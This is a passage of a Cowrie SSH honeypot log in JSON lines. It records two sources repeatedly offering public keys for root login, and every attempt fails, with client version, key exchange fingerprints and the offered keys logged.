{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:88:08:f2:9a:a3:3e:22:cc:7a:79:fb:a1:8c:51:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkbQbyvmp/KPuTcABW82Je+seAc14zodZ+UTV+4rEt1XtT4gVE5h1fxeu2JYSNNIkmr3q789dHNOlaF3wsIg3WrtZgQ1K1QlO+VlM4rmlIKTLnak0JC8xWHCEbovGBbQoLXfd2S2RsI8sz4diWBR6i/VQ2RUmezUCvJBZ0YXy9OmV/cJ4h0babMJcFIfxbBXHFlQXhSuCpVR7T9x9Ec2gSAK82bYY6gCesuKU7omky1tcF/y3R/DOPX3NAHcNB60tJDNLu77DdwUjLpqeyZYRpKvg643iZ1BeTIR/Fg+wkf+EoN3TSmeDnL0TRHjpsHg7NSDBgOhH4B6Tu1KspVmgZKje1sqggB4cjNcdPHVdgZVLRAbsXsk6c4zW/slNfYSHdYXNM32x/Fn/wmZV05ukznCfes+tfLCYSvxA0AdPxgbmjIxRCi8Mk0sz8FBoGJ0Vq1hRsbr/ruoJ+KLknwn2aoEVIgCqv5mi/PS+DQkeoQC+UKNknNiZEl76WVXCBKYp9tJjfN79zFd9pHSmtfSJmcJSNIDkdZ3lDe7NVVHAfQVAERRw908h0///3NONQcX6deYHeXsdTf279SKGL1n7Grk8z5NU9/xRluNgCh1Eww3lynvGpaCWp5B6zyAz5lbsYosQj4GuoAjZKjfVvf3SHvKdhGf0wCY0FrAIT1KnD2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.933383Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:14:e5:fc:e8:35:cf:20:93:a1:10:55:75:71:d9:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCm3j8QrbhJOt2qnITdklK03PIx8LhbGSxIIWgwOTRY0m65C6e90ZAOU2V+6hWRtO0DUZf3Ut1+2fsGrNpWXcOZkH3UWLwBtyYRniJXyke9/utWWTvmlsVfM6zRD2U9kqkiC0DKGlnzGM6L2d432xcqm82ay0e+1oaHGgyLN8VY3/hAr6ez5tBenf5QQ3nr7GV8twQzT57l+MrZnCuay/xbcT70fcUkRcs87xHLTTP2S/HJE5kpPKG2C+lvhUAkN6qXo0MBD97eGYZScbhcvECzPebcvaXKiOfzTRde+nvMVDBjfr67E8/lpqGpJtucIlCcVndHJ3QZEk+JUrtvpjUJf3a9Xvzk00uuq/QGdqs0xEr1g5Vz+x0R2UiL40yDdzIASMRtjmOYjLsjAJ+o+y/P3zj83UOFItog7aFJeUBHiUEGuTtwn07pXYPTJntjY/Pwn/UPkExQpuDU2hIJNK3ajkVGip+D8yGmazfFZ03pOlovZJbG+2eRuxJNiBs3iPt3GoCnR/1Wp7c7CAX2NCwLTb8zU2HXGiYfmGQWXpzrJ0smO+qpjzr+JLdsTBFz9SjnrncELTAQxcqAMq/xDvOFPKsPNVzKFG3956HmdEnEl6yAZvZXk4V9F1XRzUf2sP19Cl2k/xWiBaaGYZJZJ2nad2prwcPnKlJl/MOH7hGtsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:14:e5:fc:e8:35:cf:20:93:a1:10:55:75:71:d9:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.980734Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:14:e5:fc:e8:35:cf:20:93:a1:10:55:75:71:d9:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCm3j8QrbhJOt2qnITdklK03PIx8LhbGSxIIWgwOTRY0m65C6e90ZAOU2V+6hWRtO0DUZf3Ut1+2fsGrNpWXcOZkH3UWLwBtyYRniJXyke9/utWWTvmlsVfM6zRD2U9kqkiC0DKGlnzGM6L2d432xcqm82ay0e+1oaHGgyLN8VY3/hAr6ez5tBenf5QQ3nr7GV8twQzT57l+MrZnCuay/xbcT70fcUkRcs87xHLTTP2S/HJE5kpPKG2C+lvhUAkN6qXo0MBD97eGYZScbhcvECzPebcvaXKiOfzTRde+nvMVDBjfr67E8/lpqGpJtucIlCcVndHJ3QZEk+JUrtvpjUJf3a9Xvzk00uuq/QGdqs0xEr1g5Vz+x0R2UiL40yDdzIASMRtjmOYjLsjAJ+o+y/P3zj83UOFItog7aFJeUBHiUEGuTtwn07pXYPTJntjY/Pwn/UPkExQpuDU2hIJNK3ajkVGip+D8yGmazfFZ03pOlovZJbG+2eRuxJNiBs3iPt3GoCnR/1Wp7c7CAX2NCwLTb8zU2HXGiYfmGQWXpzrJ0smO+qpjzr+JLdsTBFz9SjnrncELTAQxcqAMq/xDvOFPKsPNVzKFG3956HmdEnEl6yAZvZXk4V9F1XRzUf2sP19Cl2k/xWiBaaGYZJZJ2nad2prwcPnKlJl/MOH7hGtsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:36.984715Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:cb:67:69:e3:bd:0d:f8:b1:6f:b7:ea:7e:5c:68:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjXJ8wAZ0bJrRoH45MPmEqtQVRkrq7vadGt4n4gZJw8ttS8ph1GpTwi2cYGWKW90hWz3OWr1ChVj+T3wwEys8q3D1AGzYJ1xtJa8Ae13dFnKWgd2v8toVyVb14kdhBwPw5snhp41/jgGJpUIq0QsPkVqPsyi92Q4kqYVo5RsXT2v3mdx2V2yfrlIEL2rasVOaj8g+43l65FPnVKlmNplo76pt0Dbz7VP+DElCVW/gofz4MPHTG4QmOR2/o5IidCT5mJ5m1WCEe1HQW4RzvRdme2uArj0RJ/HnLLZFgTpnCNtK70uY/EVGpn8m5sp6UAOYw78nkkZSXl9mOKG2r21l8jbCy5D+Swp27ASK/cvAfc2W7y21Fdm/i94pV4quFev2mNWQ1TF1HgWVLLpXRdR2Q2luBWet39HkcAyCLIhGpUFkKrcnyqzHGgEyAbwMC1JB7uib3E1o6ZS2ZGzgJjmQPAljHR53tw9vyY9SiZ8Aqd+GU6emULxId6pv4BZF8szHS+x+kXtDxkxcqlGeaW4Vrmf53clUsAD/Nto/tkA7AlN1XeOx+Gf9E+CRrlMvudSjnpqBjvosMkxch0daoW39aagh0fionKitbGMA6d/w3HiBmmiGXwxDc3oSMeA9w+amE26lyS0ozlZfQsRO7xjxS9ua+2QBfBn+HvtMPFxvmGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:cb:67:69:e3:bd:0d:f8:b1:6f:b7:ea:7e:5c:68:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:37.031744Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:cb:67:69:e3:bd:0d:f8:b1:6f:b7:ea:7e:5c:68:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjXJ8wAZ0bJrRoH45MPmEqtQVRkrq7vadGt4n4gZJw8ttS8ph1GpTwi2cYGWKW90hWz3OWr1ChVj+T3wwEys8q3D1AGzYJ1xtJa8Ae13dFnKWgd2v8toVyVb14kdhBwPw5snhp41/jgGJpUIq0QsPkVqPsyi92Q4kqYVo5RsXT2v3mdx2V2yfrlIEL2rasVOaj8g+43l65FPnVKlmNplo76pt0Dbz7VP+DElCVW/gofz4MPHTG4QmOR2/o5IidCT5mJ5m1WCEe1HQW4RzvRdme2uArj0RJ/HnLLZFgTpnCNtK70uY/EVGpn8m5sp6UAOYw78nkkZSXl9mOKG2r21l8jbCy5D+Swp27ASK/cvAfc2W7y21Fdm/i94pV4quFev2mNWQ1TF1HgWVLLpXRdR2Q2luBWet39HkcAyCLIhGpUFkKrcnyqzHGgEyAbwMC1JB7uib3E1o6ZS2ZGzgJjmQPAljHR53tw9vyY9SiZ8Aqd+GU6emULxId6pv4BZF8szHS+x+kXtDxkxcqlGeaW4Vrmf53clUsAD/Nto/tkA7AlN1XeOx+Gf9E+CRrlMvudSjnpqBjvosMkxch0daoW39aagh0fionKitbGMA6d/w3HiBmmiGXwxDc3oSMeA9w+amE26lyS0ozlZfQsRO7xjxS9ua+2QBfBn+HvtMPFxvmGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:37.035573Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:41:32:ae:47:a4:97:23:ef:c2:71:87:9d:df:14:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPodtbcBVKT1EbJiWPuQ4EoeoJUMpuRzdCNJJM/4SY9i8pQn4TQmAHCwmBjn71do/GHkEEADHXJ1VOr6u7iHy6r7nRU34rhekyw8zC0UTMlu55b4AxiaZ+4wPXhM4m9dslxAeFVl+NEQxgC09QZOHXUdJmKe4qWzE463h9Z9ZF1S57FUOFmueodJErr9r4c8XHejvP07CltLzKoi3QHk/w2QmQxCPbAwjzieR1+qyZlU3zO8jf4zSh+OMsF+epRZVZ3YONxCezZWz7tgxMDZe5rI7Xl/OTowfSYSo5QaHCUnjBGlhzuys/0wJEDjAcpidmZudd4NtDHp9uSJJ/5Zoxj8iS6h/jiupztsKVqtQYYusFruwkfGhduQqCGiaWa2SlI+xJmlsSzgMFDhhJc/skhGUKTHoTMl1p9jU5/Ni1+1RT8vCnEb/vfjxRFH8Rh4h5vJqZ6hig1YBgI5YQVL9+eC5zs7t6nO/2qbIkCuIXFgD3oDqmGBake+l22O3uxtm1Z/TrzdQ82Sm+HGgSCPOXRpvHWUdVcejH7UAjy9El75g9+srmlOroy3MWfZt8YxUMoi0W1f9rbfp1Be7LWzJbsRFC8rdRumIWymOgLKTE8SZPkS2LyuOBbyo+A2qHCOOJML34qk+1WQRz9n+E8sCpr6L9tGfwJDDH0YdOR1OJ8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:41:32:ae:47:a4:97:23:ef:c2:71:87:9d:df:14:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:37.084811Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:41:32:ae:47:a4:97:23:ef:c2:71:87:9d:df:14:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPodtbcBVKT1EbJiWPuQ4EoeoJUMpuRzdCNJJM/4SY9i8pQn4TQmAHCwmBjn71do/GHkEEADHXJ1VOr6u7iHy6r7nRU34rhekyw8zC0UTMlu55b4AxiaZ+4wPXhM4m9dslxAeFVl+NEQxgC09QZOHXUdJmKe4qWzE463h9Z9ZF1S57FUOFmueodJErr9r4c8XHejvP07CltLzKoi3QHk/w2QmQxCPbAwjzieR1+qyZlU3zO8jf4zSh+OMsF+epRZVZ3YONxCezZWz7tgxMDZe5rI7Xl/OTowfSYSo5QaHCUnjBGlhzuys/0wJEDjAcpidmZudd4NtDHp9uSJJ/5Zoxj8iS6h/jiupztsKVqtQYYusFruwkfGhduQqCGiaWa2SlI+xJmlsSzgMFDhhJc/skhGUKTHoTMl1p9jU5/Ni1+1RT8vCnEb/vfjxRFH8Rh4h5vJqZ6hig1YBgI5YQVL9+eC5zs7t6nO/2qbIkCuIXFgD3oDqmGBake+l22O3uxtm1Z/TrzdQ82Sm+HGgSCPOXRpvHWUdVcejH7UAjy9El75g9+srmlOroy3MWfZt8YxUMoi0W1f9rbfp1Be7LWzJbsRFC8rdRumIWymOgLKTE8SZPkS2LyuOBbyo+A2qHCOOJML34qk+1WQRz9n+E8sCpr6L9tGfwJDDH0YdOR1OJ8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:37.088578Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:37.134683Z","src_ip":"199.71.214.139","session":"e0d71c14e10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.60.130","src_port":56082,"dst_ip":"10.17.0.5","dst_port":22,"session":"58a5a9315200","protocol":"ssh","message":"New connection: 198.98.60.130:56082 (10.17.0.5:22) [session: 58a5a9315200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.197695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.201954Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.207815Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:13:88:75:a6:fa:9e:6a:2e:d7:30:99:e1:1c:e3:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9CZ7QEVa4eEstjC8qq1N3wvrMXC3VDqOQ0RsEz/eDEQZ/bK3OI7zUBEukEGTJQEi8/6Y1iOqcDsa66fJhNgQj5SfK16gmprLYAOo9FiDjMz5jJ1CwnJJqOc/90GX/4RUh07WyB//T4mnBBabaBRe7rfo8PViLZs37mPwpNuWCgiA+24VXQn9xENJPKyBm+X7WnLodQzKkXDYpzIuaw7yj0Hlyh+pqpzkP3Wa5z4vXpNeZMmXpqy8R9rDrHPgf/Y427b0mKdA6p6ctOzAubkkY6Set4nIFYf1zneyqpvZ+kmNo/0pJfHppq6ruVvOD9+s9D+bTKYtF2G0e/ElQ/sy5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:13:88:75:a6:fa:9e:6a:2e:d7:30:99:e1:1c:e3:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.229778Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:13:88:75:a6:fa:9e:6a:2e:d7:30:99:e1:1c:e3:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9CZ7QEVa4eEstjC8qq1N3wvrMXC3VDqOQ0RsEz/eDEQZ/bK3OI7zUBEukEGTJQEi8/6Y1iOqcDsa66fJhNgQj5SfK16gmprLYAOo9FiDjMz5jJ1CwnJJqOc/90GX/4RUh07WyB//T4mnBBabaBRe7rfo8PViLZs37mPwpNuWCgiA+24VXQn9xENJPKyBm+X7WnLodQzKkXDYpzIuaw7yj0Hlyh+pqpzkP3Wa5z4vXpNeZMmXpqy8R9rDrHPgf/Y427b0mKdA6p6ctOzAubkkY6Set4nIFYf1zneyqpvZ+kmNo/0pJfHppq6ruVvOD9+s9D+bTKYtF2G0e/ElQ/sy5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.233259Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:85:ab:6a:87:51:39:e6:a9:1e:7b:16:70:2c:d3:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTI5Vzq+cZ3YGn7sESSabwr42xUByozaYwJK2dQHhpOhUydCiM+gvBfcaTGoBxDBjLPYWPPRiHOi2VxQMTWRrSCDFbFu7OBh4TThI1C6XtfAF9kncaDOQr+4/0UkJoTnrD+hNP4fHP/A21+kbcayYEc9+wsdLuiHqsp25wLw8FN38rgr7f5u/CisdSyUCaFOyXyIV1lEAPqcdv+K9HDJaJwU5WDvAAf9hvZQya9rcxCa3tK45usbyWlM2VsWtCppUd9fV8xw4bz2XxQjHauTW+Iq3O4hfzYCyY8tDHni2ruRV6Nsv1CsQ9+KXcspuuWG1DPHmSpMCWi6mY671OX90rRGz1UVE8kD+3oi94yrfSATsGoAfkbVYu29f8BZd+v/GtD38aqva/XACnf/TTImh9wCxKnyjizRxaw/Vy5CSr5fNnJZfsWeP4RDOCVrYXORGaKKC5sa8ntuCXXDGuQ+nTKTtFhU7gojLz2ZEfi1kYyH0hcbW/wOjkP7ML4mYW9Y2B/i22pLfpuugwjXn4+oGbw+loTMqhu4MpGps9M8swJ4yYbnrWW5+tW8UXnm6do/csAjN0C1DkWqXgJIyhGUO4bY7WhPe+tMS2rJDA9Z5LFxhkYvAa/hWmcPcCjDEr2YrZxWZuINfAhX4cRh1TMiGveYZNKR+YtZ05famtHOMmkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:85:ab:6a:87:51:39:e6:a9:1e:7b:16:70:2c:d3:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.240454Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:85:ab:6a:87:51:39:e6:a9:1e:7b:16:70:2c:d3:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTI5Vzq+cZ3YGn7sESSabwr42xUByozaYwJK2dQHhpOhUydCiM+gvBfcaTGoBxDBjLPYWPPRiHOi2VxQMTWRrSCDFbFu7OBh4TThI1C6XtfAF9kncaDOQr+4/0UkJoTnrD+hNP4fHP/A21+kbcayYEc9+wsdLuiHqsp25wLw8FN38rgr7f5u/CisdSyUCaFOyXyIV1lEAPqcdv+K9HDJaJwU5WDvAAf9hvZQya9rcxCa3tK45usbyWlM2VsWtCppUd9fV8xw4bz2XxQjHauTW+Iq3O4hfzYCyY8tDHni2ruRV6Nsv1CsQ9+KXcspuuWG1DPHmSpMCWi6mY671OX90rRGz1UVE8kD+3oi94yrfSATsGoAfkbVYu29f8BZd+v/GtD38aqva/XACnf/TTImh9wCxKnyjizRxaw/Vy5CSr5fNnJZfsWeP4RDOCVrYXORGaKKC5sa8ntuCXXDGuQ+nTKTtFhU7gojLz2ZEfi1kYyH0hcbW/wOjkP7ML4mYW9Y2B/i22pLfpuugwjXn4+oGbw+loTMqhu4MpGps9M8swJ4yYbnrWW5+tW8UXnm6do/csAjN0C1DkWqXgJIyhGUO4bY7WhPe+tMS2rJDA9Z5LFxhkYvAa/hWmcPcCjDEr2YrZxWZuINfAhX4cRh1TMiGveYZNKR+YtZ05famtHOMmkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.244110Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOMB2q7cMEsbzvkgWO3VA/nBmpvbRj0uzxqn743Xk0UenC+Py6T6XcVqih657BCHvaSqiIQbeTMmkIHb036HLJLlBdK1RtZahfAU7ewmXvGMuW3Z+s/m8+DRWSeCcrdtJyDGpe/g5lW5yVue+ogM92Rt6rUDjONW2uC7EkY3oFN9vtLF4JubO0gweFS67eKaJa5ZhEm2CUaf7dpH8Q8X/nECrTn+A2aqyDEeV/Fv+4mWg/s6G5mmF/AQUf7t2vW6X1FKkZf2ftZBLbM8Br88FV8vCiZiee95/5I1RvsR62XagN30YFOXbkKQ95a8yau/NubGjbpz3LJbpTHzzvYVog43PG5R0xV3e3T+cFLRDMezA34Bx+30db/Mah5xNwqH7JfogcbWjnhD/vHnPVZbUkLGCbPI9OZyQGNGt4S2o5loDXLzVy0rbUJOzq/PqobAmP1txP9HUe7SkcAwxE+BwBiIOlYkqjH/7+C9eDKUWXCfv3F16L7bSM03J1AoxRqI9c0QNhZk+EvKG/gFDj0Cj5ieGRg2nFfcg/3DduMv4LwA51JwdfXjKLUdgRONOja6QO6aFX9lhwl1HYMEnX2/y/ep/pt9Rsk+PanK0mleu40LbS2BfnGuRmztg6gk37hq+Nax4XhK4/fUsxToBlqwOkCF0TIpotO5V/wg6Va5uh0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.253893Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:da:0b:2d:d8:43:ff:e5:80:70:53:b4:5b:6b:11:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOMB2q7cMEsbzvkgWO3VA/nBmpvbRj0uzxqn743Xk0UenC+Py6T6XcVqih657BCHvaSqiIQbeTMmkIHb036HLJLlBdK1RtZahfAU7ewmXvGMuW3Z+s/m8+DRWSeCcrdtJyDGpe/g5lW5yVue+ogM92Rt6rUDjONW2uC7EkY3oFN9vtLF4JubO0gweFS67eKaJa5ZhEm2CUaf7dpH8Q8X/nECrTn+A2aqyDEeV/Fv+4mWg/s6G5mmF/AQUf7t2vW6X1FKkZf2ftZBLbM8Br88FV8vCiZiee95/5I1RvsR62XagN30YFOXbkKQ95a8yau/NubGjbpz3LJbpTHzzvYVog43PG5R0xV3e3T+cFLRDMezA34Bx+30db/Mah5xNwqH7JfogcbWjnhD/vHnPVZbUkLGCbPI9OZyQGNGt4S2o5loDXLzVy0rbUJOzq/PqobAmP1txP9HUe7SkcAwxE+BwBiIOlYkqjH/7+C9eDKUWXCfv3F16L7bSM03J1AoxRqI9c0QNhZk+EvKG/gFDj0Cj5ieGRg2nFfcg/3DduMv4LwA51JwdfXjKLUdgRONOja6QO6aFX9lhwl1HYMEnX2/y/ep/pt9Rsk+PanK0mleu40LbS2BfnGuRmztg6gk37hq+Nax4XhK4/fUsxToBlqwOkCF0TIpotO5V/wg6Va5uh0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.257757Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:cf:48:b5:a4:fe:30:e3:d3:60:cc:31:29:eb:9c:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx2nAd8fo9b2XNOphNmmj8RK1O5YU9E7aCjOHqhhZ3QRpMgD7fjyUF+fAYngkFeCM+0MxUZi4neIS/dmqWcEsErlGukHqUA67eMaqPKYX7nLLi8Hj+2N12vLX1gUtJHVroL6T5n6NxcNYrRJMNa/dmHOflhsJqIW6jKRgFNB2iQOQWJGZu+DmOaG/OiQuJaaD+xVlkEFdbSkbdiRznjSyzVsDgNUTFXJw+lJzYl1vkCcxMEbiKFAewLWjeLWdxNti1TSirw7zEXy1saBLFYg+hZhjXjF0C+Z2VRpqFZGRVgcj05aFUpoUQEf56W6lDbpZOy7U7cokZwd73THtswXtUsU334OiWqTkHQ3GKbP81UBckpWiVkhOgGjM769gJ12ntFbpLOlF5x+Kb42zfpmp1I4an+1O1YHlqYCO3Rgwlmo1AUDFVNawveVawvvdTq2g8NgKOMHHCSzGq+eh2/FafcqEcVpJcgYPIVzhFHOTAzVMTgp6+7w3Maw7zMDOSbfoMFLcdPz+C9+KvsZcaIbuNt/QjE8QaAwBpmcWsy/X2O4xWMR1WGLDaAqt91XizXP0BygedFvv8LB9iUetYhhnFxdcjJnNnkTikWpNL9USTwVdhX1tLfjk8I82o0CQHNfmFQ4Zzyh2F2kZPQOsK7r7T2QoD/mqP1gpAC+eHj9QKdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:cf:48:b5:a4:fe:30:e3:d3:60:cc:31:29:eb:9c:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:42.267827Z","src_ip":"198.98.60.130","session":"58a5a9315200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:cf:48:b5:a4:fe:30:e3:d3:60:cc:31:29:eb:9c:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx2nAd8fo9b2XNOphNmmj8RK1O5YU9E7aCjOHqhhZ3QRpMgD7fjyUF+fAYngkFeCM+0MxUZi4neIS/dmqWcEsErlGukHqUA67eMaqPKYX7nLLi8Hj+2N12vLX1gUtJHVroL6T5n6NxcNYrRJMNa/dmHOflhsJqIW6jKRgFNB2iQOQWJGZu+DmOaG/OiQuJaaD+xVlkEFdbSkbdiRznjSyzVsDgNUTFXJw+lJzYl1vkCcxMEbiKFAewLWjeLWdxNti1TSirw7zEXy1saBLFYg+hZhjXjF0C+Z2VRpqFZGRVgcj05aFUpoUQEf56W6lDbpZOy7U7cokZwd73THtswXtUsU334OiWqTkHQ3GKbP81UBckpWiVkhOgGjM769gJ12ntFbpLOlF5x+Kb42zfpmp1I4an+1O1YHlqYCO3Rgwlmo1AUDFVNawveVawvvdTq2g8NgKOMHHCSzGq+eh2/FafcqEcVpJcgYPIVzhFHOTAzVMTgp6+7w3Maw7zMDOSbfoMFLcdPz+C9+KvsZcaIbuNt/QjE8QaAwBpmcWsy/X2O4xWMR1WGLDaAqt91XizXP0BygedFvv8LB9iUetYhhnFxdcjJnNnkTikWpNL9USTwVdhX1tLfjk8I82o0CQHNfmFQ4Zzyh2F2k